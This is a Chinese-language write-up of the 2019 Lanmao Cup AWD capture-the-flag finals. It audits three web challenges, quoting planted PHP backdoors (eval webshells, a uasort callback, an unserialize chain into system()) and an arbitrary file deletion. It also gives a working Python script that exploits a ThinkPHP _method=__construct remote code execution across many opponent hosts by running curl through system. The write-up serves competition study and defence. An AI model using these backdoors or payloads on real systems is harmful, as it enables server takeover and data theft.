2019蓝帽杯决赛WP

2019蓝帽杯决赛复现Write-up

前言

本次比赛共三道WEB,一道PWN。一开场就全场炸鸡,无法ssh,大约过了50分钟才修好(有些队伍早已拿到题进行审计)。时常持续三个小时,通过web2的后门和web3的流量持续拿了不少分。复现一下发现还是有所收获的。(虚拟机总是损坏,拖的比较久,用window搭算了)

Web1-EBCMS-v1.1.0

赛场上没做出来的题,赛后复现一下。

首先和源码diff一下,发现只有如下不同

app/home/controller/Api.php

贴下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
namespace app\home\controller;
class Api{

public function captcha(){
\mylib\Config::set('sys.show_err', \Ebcms::config('show_err', false));
$num = mt_rand(1, 50);
$max = mt_rand($num, $num + 50);
\mylib\Session::set('captcha', $num);
return \mylib\Response::image(\Captcha::create(($max-$num).'+?='.$max, 16));
}

public function unserializehook(){
if(isset($_POST['seridata'])){
return unserialize(base64_decode($_POST['seridata']));

}
}
}

app/member/controller/Api.php

1
2
3
4
5
public function imgget(){
if(isset($_GET['ebimgname'])){
return $this -> success(base64_encode(file_get_contents($_GET['ebimgname'])));
}
}

往下查找success函数定义

/extend/traits/Jump.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
trait Jump{
use \traits\View;

protected function success($message='操作成功!', $url='', $data=[]){
if (\Ebcms::isAjax()) {
return \mylib\Response::json([
'code'=>1,
'message'=>$message,
'url'=>$url,
'data'=>$data,
]);
}else{
return $this -> html($this -> assign([
'code'=>1,
'message'=>$message,
'url'=>$url,
'data'=>$data,
]) -> fetch(__DIR__ . '/tpl/jump.php'));
}
}
}

发现是一个回显消息的函数,并没有什么异常,猜测应该是通过该类构造一些恶意payload在入口处发生的反序列化漏洞,wtcl。

然后还找到该版本是一个CNVD-2019-06644。贴上链接。

EBCMS存在任意代码执行漏洞

Web2-Metinfo-6.0.0

这题是2018蓝帽浙江赛区的题目,但做了修改,贴个以前赛区赛题链接

“蓝帽杯”–第一次AWD之旅

贴个原版本代码漏洞

Metinfo 6.0.0 任意文件读取漏洞

拉下来与本地源码对比发现,已有漏洞已被修复

拉下来扫描审计发现有好几个后门以及主办方修改的代码(共六个)

/about/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.

define('M_NAME', 'about');
define('M_MODULE', 'web');
define('M_CLASS', 'about');
define('M_ACTION', 'doabout');
require_once '../app/system/entrance.php';
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

index.php后门@eval($_POST['a']);(简单后门就不再多提)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
if(!file_exists('./config/install.lock')){
if(file_exists('./install/index.php')){
header("location:./install/index.php");exit;
}
else{
header("Content-type: text/html;charset=utf-8");
echo "安装文件不存在,请上传安装文件。如已安装过,请新建config/install.lock文件。";
die();
}
}
define('M_NAME', 'index');
@eval($_POST['a']);
define('M_MODULE', 'web');
define('M_CLASS', 'index');
define('M_ACTION', 'doindex');
require_once './app/system/entrance.php';
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

door.php后门

1
<?php @eval($_POST['a']);?>

/admin/admin/getpassword.php被修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
这里贴部分被修改后的关键代码
$action = $_POST['action'];
switch($action){
case 'next1':
if($abt_type==1){
$description=$lang_password2;
$title=$lang_password3;
}else{
$description=$lang_password4;
$title=$lang_password5;
}
break;
case 'debug':
$file = addslashes($_POST['file']);
system("find /tmp -iname ".escapeshellcmd($file));
break;
}

源码是没有取$_POST['action']的,这里通过POST取到action,能够进到debug进行文件查找。

admin/system/uploadfile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
被修改后代码
if($action=='deletefolder'){
$filedir="../../".$filename;
unlink($filedir);
metsave($rurls);
}
原代码
if($action=='deletefolder'){
if(strcasecmp(substr(trim($filename),0,7),'upload/')!=0)die('met1');
if(substr_count(trim($filename),'../')!=0)die('met2');
$filedir="../../".$filename;
deldir($filedir,0);
metsave($rurls);
}

可以看到这里被修改后的代码直接导致产生任意文件删除,与源码不同的替换回去修补漏洞即可。

/include/ping.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 

class getip{
public $ip;

function __construct(){
$this->ip = "127.0.0.1";
}

function __destruct(){
echo 'The ip is'.$this->ip;
}
}

class getresult{
public $obj;
public $ip;

function __construct(){
$this->ip = '127.0.0.1';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->ip;
}
}

class ping{
private $ip;

function execute(){
$str = 'ping '.$this->ip;
system($str);
}
}

unserialize(base64_decode($_GET['ip']));

?>

/include/curl.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if(isset($_GET['address'])){
$address = $_GET['address'];
if(filter_var($address,FILTER_VALIDATE_URL)){
$filter_url = parse_url($address);
if(preg_match('/127.0.0.1/',$filter_url['host'])){
system('curl -v -s '.$filter_url['host']);
}
}
}

?>

这里并curl.php没有发现有可疑的地方(直接删除进行防护不碍事),初步猜测是在ping.php有个拼接命令进行执行(路由不清楚,也可以直接删除)。

后门exp这里不在提供,参考 湖北赛区WP

Web3-CatfishCMS-v4.8.54

1

最近爆出的一个漏洞CNVD-2019-06255

参考链接

CatfishCMS任意命令执行导致getshell

可以看到在catfish/library/think/Request.php存在一个变量覆盖函数,通过重新赋值method$_POST使函数跳转到其他函数去执行。

1
2
3
4
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
}

查看application/config.phpvar_method默认值,发现是通过_method参数进行赋值。

1
2
// 表单请求类型伪装变量
'var_method' => '_method',

那么我们就可以赋值_method=__construct使函数跳转到__construct去执行,

1
2
3
4
5
6
7
8
9
10
11
public function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
}

然后通过__construct函数重写config参数值,从而getshell

最终构成payload

自己跟一遍还是蛮有意思的,主要还是对之前thinkPHP框架的熟悉程度要更加深一些。

附当时写的流量exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import requests
import re
pattern = re.compile('key{.*?}')
for i in range(3,84):
ips.append(i)

for i in range(len(ips)):
ips[i]=ip % ips[i]

payload = {'s':'curl http://192.168.100.1/Getkey','_method':'__construct','method':'*',"filter[]":'system'}
fake = {'s':'curl%20http://192.168.100.1/Getkey','_method':'__construct',"filter[]":'system'}
cookie = {'PHPSESSID':'k5obg11niv33qe5t58nb8o34h0','think_var':'zh-cn'}
for ip in ips:
print ip
flag = requests.post(ip,data=payload,cookies=cookie).content
print payload
flag1 = pattern.findall(flag)
if flag1:
print flag1[0]
requests.post(ip,data=fake)
requests.post(ip,data=fake)
requests.post(ip,data=fake)
requests.post(ip,data=fake)
requests.post(ip,data=fake)
time.sleep(0.1)

AWD比赛中WEB的思路总结

首先确定是否使用ssh弱密码,准备好修改密码的脚本(python一键执行),可进行全场抓肉机。ssh连接上去后,找到源码目录(find命令查找),备份源码(一般都有tar),拉下源码后用工具全局查找后台密码和数据库密码,然后备份数据库(mysql居多),同时用D盾等工具扫描后门,找到后门后先删除自己的后门,然后用事先写好的通打脚本全场拿分。接下来是常规流程,迅速修改后台密码,上log和waf,在代码审计的同时进行日志审计,一旦有一血产生就审计抓取到的日志,分析出可疑日志进行流量复现。

代码审计的思路一般是用本地存取的源码对比比赛中的源码,查找不同点,看是否存在主办方插入的漏洞点(几次比赛下来这点非常重要,有源码才能迅速定位主办方漏洞),如果完全一致,就查找该版本是否存在cve(本地记得存取相应poc)。代码审计完后不要忘记修补好漏洞点,写通打脚本全场拿分。审计代码同时不要遗忘运维的重要性,查看是否被人插入不死马,将不死马进程杀死或者写个定时任务循环删除。每一个环节都至关重要,这里不在细说。

还是那句话,心态要稳,这次由于web较多,操作有点混乱,一旦看到掉分就想着快点补回去(一轮最多400分),导致心态有点崩,还是有些心急了,吸取教训,希望以后能更沉稳一些。

-------------本文结束 感谢阅读-------------